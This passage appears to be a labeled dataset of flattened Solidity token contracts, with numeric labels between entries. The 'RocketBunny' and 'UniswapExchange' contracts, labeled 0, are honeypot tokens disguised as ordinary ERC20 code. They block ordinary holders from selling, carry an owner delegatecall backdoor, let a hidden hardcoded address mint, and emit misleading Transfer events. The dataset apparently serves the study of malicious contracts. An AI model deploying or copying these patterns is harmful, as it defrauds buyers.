compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 POOHAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 pooh; } struct PotSplit { uint256 gen; uint256 pooh; } } library KeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20); if (_temp[0] == 0x30) { require(_temp[1] != 0x78); require(_temp[1] != 0x58); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a)); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
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pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract RocketBunny { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,794
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
2,511
pragma solidity ^0.4.23; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Owned { address public owner; address newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract NUC is ERC20Interface, Pausable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function NUC() public { symbol = "NUC"; name = "NUC Token"; decimals = 18; _totalSupply = 21 * 1000 * 1000 * 1000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { require(to != address(0)); require(tokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public whenNotPaused returns (bool success) { require(tokens == 0 || allowed[msg.sender][spender] == 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { require(to != address(0)); require(tokens <= balances[from]); require(tokens <= allowed[from][msg.sender]); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function () public payable { revert(); } }
1
3,397
pragma solidity 0.4.16; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract PausableToken is StandardToken, Pausable { mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[msg.sender]); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[_from]); return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[msg.sender]); uint cnt = _receivers.length; uint256 amount = uint256(cnt).mul(_value); require(cnt > 0 && cnt <= 121); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < cnt; i++) { require (_receivers[i] != 0x0); balances[_receivers[i]] = balances[_receivers[i]].add(_value); Transfer(msg.sender, _receivers[i], _value); } return true; } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function batchFreeze(address[] addresses, bool freeze) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { frozenAccount[addresses[i]] = freeze; FrozenFunds(addresses[i], freeze); } } } contract AdvancedToken is PausableToken { string public name = "Opes Protocol"; string public symbol = "OPX"; string public version = '3.0.0'; uint8 public decimals = 18; function AdvancedToken() { totalSupply = 20000000000 * (10**(uint256(decimals))); balances[msg.sender] = totalSupply; } function () external payable { revert(); } }
1
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pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = 